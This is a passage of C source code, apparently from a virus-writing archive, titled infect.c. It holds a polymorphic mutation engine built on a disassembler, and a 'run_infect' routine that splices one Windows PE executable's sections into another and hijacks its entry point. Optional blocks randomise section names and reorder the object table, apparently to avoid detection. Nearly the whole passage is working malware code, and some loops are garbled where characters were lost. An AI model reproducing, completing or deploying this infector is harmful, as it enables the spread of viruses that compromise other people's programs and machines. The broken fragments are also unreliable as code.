printf("data "); if flagset(cf_datarel) printf("datarel "); printf("\n"); if flagset(cf_rep) printf("r.px_rep = %B\n",r.px_rep); if flagset(cf_seg) printf("r.px_seg = %B\n",r.px_seg); printf("r.opcode = %B\n",r.opcode); if (r.type == ct_jmp) printf("r.type = ct_jmp\n"); if (r.type == ct_jcc) printf("r.type = ct_jcc\n"); if (r.type == ct_ret) printf("r.type = ct_ret\n"); if (r.type == ct_call) printf("r.type = ct_call\n"); if flagset(cf_modrm) { printf("r.modrm = %B\n", r.modrm); printf("r.mod = %B\n", r.mod); printf("r.reg = %B\n", r.reg); printf("r.rm = %B\n", r.rm); } if flagset(cf_sib) printf("r.sib = %B\n", r.sib); if flagset(cf_mem) { printf("r.memsize = %d\n", r.memsize); if (r.memsize == 1) printf("r.mem = %B\n",r.mem.b[0]); if (r.memsize == 2) printf("r.mem = %W\n",r.mem.w[0]); if (r.memsize == 4) printf("r.mem = %D\n",r.mem.d[0]); } if flagset(cf_data) { printf("r.datasize = %d\n", r.datasize); if (r.datasize == 1) printf("r.data = %B\n",r.data.b[0]); if (r.datasize == 2) printf("r.data = %W\n",r.data.w[0]); if (r.datasize == 4) printf("r.data = %D\n",r.data.d[0]); } if (r.regcount != 0) { printf("r.regcount = %d\n",r.regcount); for (i=0; i0; size--, i++) if (buf_mark[i] != MARKED) buf_mark[i] = filler; } void process_marking(pchar p) { tcmdrec rec; pchar q; dword t; cycle: if (buf_mark[(dword) p - (dword) &ii] == MARKED) return; //printf("<%D>: ", (dword) p - (dword) &ii); disasm(p, &rec); mark_opcode(p, rec.size, MARKED); if (rec.type == ct_ret) { //printf("-- ct_ret\n"); return; } if (rec.type == ct_jmp) { //printf("-- ct_jmp\n"); t = (dword)p + rec.jmpdata+rec.size; t = t - (dword) &ii + code_base; if (t > 0x80000000) { printf("extra jmp to %D\n", t); return; } p += rec.jmpdata+rec.size; goto cycle; } if (rec.type == ct_jmpMODRM) { //printf("-- ct_jmpMODRM\n"); return; } if ((rec.type == ct_call) || (rec.type == ct_jcc)) { //printf("-- ct_call/ct_jcc\n"); q = (pchar) ( (dword) p + rec.jmpdata+rec.size ); mark_opcode(q, 1, FORNEXTPASS); } p += rec.size; goto cycle; } void mark_input(void) { dword i,progress; // init fillchar(buf_mark, sizeof(buf_mark), UNUSED); // entrypoint(s) mark_opcode((pchar) &ii, 1, FORNEXTPASS); // main cycle cycle: progress=0; for (i=0; i ecx byte reg1632_repl[8] = {0,3,2,1,4,5,6,7}; // //byte reg8_repl[8] = {0,1,2,3,4,5,6,7}; //byte reg1632_repl[8] = {0,1,2,3,4,5,6,7}; void engine_main(void) // mutate ii[] -> oo[] { #ifdef DEBUG_FILES handle h; #endif dword i,j,k,c; byte b,b0; tcmdrec rec; fillchar(&oo, codesize, 0xCC); printf("marking\n"); mark_input(); printf("assembling ii -> oo\n"); i = 0; cycle: if (buf_mark[i] == UNUSED) i++; else { disasm(&ii[i], &rec); move(&ii[i], &oo[i], rec.size); if ((rec.opcode == 0xFF) && (rec.modrm == 0x25)) { j = (dword) &oo[i+2]; j = * (dword *) j; j = * (dword *) j; j = j - (code_base + i + 5); oo[i+0] = 0xE9; k = (dword) &oo[i+1]; * (dword *) k = j; oo[i+5] = 0x90; i+= rec.size; // +6 } else { // printf("before: i=%D regcount=%d opcode=%B modrm=%B sib=%B mem=%d data=%d\n", // i, rec.regcount, rec.opcode, rec.modrm, rec.sib, rec.memsize, rec.datasize); c = 0; for (k=0; k 0) { max = MIN(sizeof(buf), size); readfile(I, buf, max); writefile(O, buf, max); size -= max; } } void run_infect(pchar file_A, pchar file_B, pchar file_C) { handle A,B,C; dword i,j,a,b; dword d; printf("job: %a + %a = %a\n", file_A, file_B, file_C); A = openfile_ro(file_A); B = openfile_ro(file_B); C = createfile(file_C); //--------------------------------------------------------------------------- printf("processing %a\n", file_A); max = readfile(A, &mz, sizeof(mzheader)); if ( (mz.id != 'MZ') || (max != sizeof(mzheader)) ) { printf("error in old exe header\n"); goto exit; } if ( (mz.relnum != 0) && (mz.relofs <= sizeof(mzheader)) ) { printf("PE header not found in this file\n"); goto exit; } seek(A, mz.neptr); pe_pos_A = filepos(A); max = readfile(A, &pe_A, sizeof(peheader)); if ( (pe_A.id != 'PE') || (max != sizeof(peheader)) ) { printf("error reading new exe header - PE not found\n"); goto exit; } if ((pe_A.cputype < 0x014C) || (pe_A.cputype > 0x014E)) { printf("wrong pe_A.cputype value\n"); goto exit; } objnum_A = pe_A.numofobjects; if ((objnum_A == 0) || (objnum_A > (max_obj_num_A-our_sections))) { printf("numofobjects error (0 or too many)"); goto exit; } if (pe_A.ntheadersize != (0xF8-0x18)) { printf("*** WARNING ***: ntheadersize\n"); seek(A, 0x18 + pe_A.ntheadersize); // correct obj table ptr } if (((pe_A.flags & 0x0002) == 0) || // executable ((pe_A.flags & 0x2001) != 0) || // dll | fixed (pe_A.dllflags != 0)) { printf("pe_A.flags or pe.dllflags error\n"); goto exit; } if (pe_A.magic != 0x010B) { printf("pe_A.magic error\n"); goto exit; } if ((pe_A.subsystem != 2) && (pe_A.subsystem != 3)) // Windows GUI/char { printf("pe_A.subsystem error\n"); goto exit; } if (pe_A.imagebase != 0x00400000) { printf("*** WARNING ***: pe_A.imagesize\n"); } objtable_pos_A = filepos(A); readfile(A, objtable_A, objnum_A * sizeof(objentry)); if ( (ALIGNED(filepos(A), pe_A.filealign) - filepos(A)) < (our_sections * sizeof(objentry)) ) { printf("No free space in objecttable\n"); goto exit; } //--------------------------------------------------------------------------- printf("processing %a\n", file_B); readfile(B, &mz, sizeof(mzheader)); seek(B, mz.neptr); readfile(B, &pe_B, sizeof(peheader)); if (pe_B.ntheadersize != (0xF8-0x18)) { printf("*** WARNING ***: ntheadersize\n"); seek(A, 0x18 + pe_B.ntheadersize); // correct obj table ptr } objnum_B = pe_B.numofobjects; readfile(B, &objtable_B, max_obj_num_B * sizeof(objentry)); //--------------------------------------------------------------------------- j = 0; for (i=0; i 0x80000000) { printf("some rva > 0x80000000, cant infect file\n"); goto exit; } } save_entrypoint = pe_A.imagebase + pe_A.entrypointrva; pe_A.entrypointrva = pe_B.entrypointrva + pe_B.imagebase - pe_A.imagebase; //--------------------------------------------------------------------------- printf("copying %a to %a\n", file_A, file_C); copyfile(A, C, 0, 0, filesize(A)); //--------------------------------------------------------------------------- printf("copying sections\n"); seek(C, filesize(C)); #ifdef RESORT_MY_SECTIONS a = rnd(objnum_B); b = random(); #endif for (j=0; j %a\n", objtable_A[i].name,c_str[j]); move(&c_str[j], &objtable_A[i].name, NAMELEN(c_str[j])); goto skip_j; } if (cmp(&objtable_A[i].name, d_str[j], NAMELEN(d_str[j]))) { j = rnd(d_max); // printf("data: %a -> %a\n", objtable_A[i].name,d_str[j]); move(&d_str[j], &objtable_A[i].name, NAMELEN(d_str[j])); goto skip_j; } } // for j skip_j: } // for i #endif #ifdef RESORT_OBJTABLE for (max=0; max<1000; max++) { i = rnd(objnum_A); j = rnd(objnum_A); move(&objtable_A[i], &objtable_B[0], sizeof(objentry)); move(&objtable_A[j], &objtable_A[i], sizeof(objentry)); move(&objtable_B[0], &objtable_A[j], sizeof(objentry)); } #endif seek(C, pe_pos_A); writefile(C, &pe_A, 0x18+pe_A.ntheadersize ); seek(C, objtable_pos_A); writefile(C, objtable_A, objnum_A * sizeof(objentry)); //--------------------------------------------------------------------------- exit: closefile(A); closefile(B); closefile(C); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[infect.c]ÄÄ